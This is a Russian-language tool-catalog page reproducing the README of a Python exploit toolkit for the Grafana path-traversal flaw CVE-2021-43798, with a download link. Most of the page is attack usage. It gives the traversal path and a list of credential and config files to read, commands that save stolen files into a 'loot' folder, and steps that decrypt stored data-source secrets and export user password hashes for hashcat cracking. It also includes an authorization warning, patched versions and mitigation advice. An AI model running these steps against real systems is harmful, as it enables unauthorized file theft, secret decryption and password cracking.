Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-43798 — Инструментарий на Python для авторизованного тестирования обхода пути Grafana (CVE-2021-43798), с PoC чтения произвольных файлов, дешифрованием секретов и экспортом хэшей пользователей для оценки безопасности. | Kitploit
Инструменты/GitHubGitHub/okymi-x/cve-2021-43798
Взлом паролейИнструменты шифрования/дешифрованияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информации
GitHubokymi-x/cve-2021-43798

CVE-2021-43798

Инструментарий на Python для авторизованного тестирования обхода пути Grafana (CVE-2021-43798), с PoC чтения произвольных файлов, дешифрованием секретов и экспортом хэшей пользователей для оценки безопасности.

Репозиторий
33 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-43798 - Чтение произвольных файлов в Grafana

Python-инструментарий для авторизованного тестирования CVE-2021-43798, уязвимости обхода пути в Grafana, которая может позволить неаутентифицированное чтение произвольных файлов через пути к ресурсам плагинов.

Этот репозиторий содержит:

  • grafana_poc.py: интерактивный PoC для чтения произвольных файлов, сохраняющий загруженные файлы локально.
  • grafana_pass_decryptor.py: утилита для расшифровки зашифрованных секретов источников данных Grafana при наличии grafana.ini и/или secret_key, а также для экспорта хешей паролей пользователей Grafana из grafana.db.

Предупреждение

Используйте этот проект только на системах, которыми вы владеете, управляете или на тестирование которых имеете явное письменное разрешение. Несанкционированная эксплуатация может привести к раскрытию конфиденциальных файлов, учётных данных, закрытых ключей, содержимого баз данных и хешей паролей пользователей.

Сводка об уязвимости

CVE-2021-43798 затрагивает версии Grafana от 8.0.0-beta1 до 8.3.0. Исправленные версии: 8.3.1, 8.2.7, 8.1.8 и 8.0.7.

Уязвимость доступна через маршруты ресурсов плагинов, например:

root@kitploit:~
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>

Типичные файлы, запрашиваемые при авторизованной валидации, включают:

root@kitploit:~
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline

Доступ зависит от разрешений операционной системы, выданных процессу Grafana.

Требования

  • Python 3.10+
  • requests
  • pycryptodome или cryptography для расшифровки секретов

Установка зависимостей:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

Руководство по использованию

1. Чтение файлов с помощью PoC

Запустите интерактивный PoC для авторизованной цели:

root@kitploit:~
python3 grafana_poc.py -H http://target:3000 -o loot

По запросу введите абсолютные пути:

root@kitploit:~
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit

Загруженные файлы сохраняются в выходной каталог с сохранением безопасной версии удалённого пути, например:

root@kitploit:~
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db

2. Расшифровка секретов Grafana

Если у вас есть и grafana.ini, и grafana.db, расшифровщик может прочитать secret_key из конфигурационного файла и попытаться расшифровать зашифрованные секреты источников данных, уведомлений о тревогах и плагинов:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db

Расшифровать один зашифрованный блок вручную:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --secret-key SW2YcwTIb9zpOOhoPsMm \
  --blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

Вывести JSON, разделённый переводами строк:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --json

3. Экспорт хешей пользователей

Пароли пользователей Grafana не являются зашифрованными секретами. Они представляют собой хеши PBKDF2 с солью. Экспортируйте их из таблицы user:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --users

Экспортировать только строки для режима hashcat 10900:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --db loot/var/lib/grafana/grafana.db \
  --users \
  --hashcat > hashes.txt

Устранение уязвимости

Обновите Grafana до исправленной версии:

  • 8.3.1 или новее для ветки 8.3
  • 8.2.7 или новее для ветки 8.2
  • 8.1.8 или новее для ветки 8.1
  • 8.0.7 или новее для ветки 8.0

Если немедленное обновление невозможно, в рекомендациях Grafana отмечается, что установка обратного прокси-сервера перед Grafana, нормализующего пути запросов, может смягчить поведение при обходе каталогов. Относитесь к этому как к временной мере, а не замене патча.

Ссылки

  • Exploit-DB 50581: https://www.exploit-db.com/exploits/50581
  • Справочный репозиторий jas502n: https://github.com/jas502n/Grafana-CVE-2021-43798
  • Рекомендация по безопасности Grafana GHSA-8pjx-jj86-j47p: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  • Сообщение в блоге Grafana о CVE-2021-43798: https://grafana.com/blog/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
  • Запись CVE в NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-43798

Благодарности

Оригинальный публичный PoC приписывается s1gh на Exploit-DB. Процесс расшифровки секретов Grafana вдохновлён публичными исследованиями и примерами из jas502n/Grafana-CVE-2021-43798, а этот репозиторий предоставляет Python-утилиту для лабораторного и авторизованного тестирования.

Скачать инструмент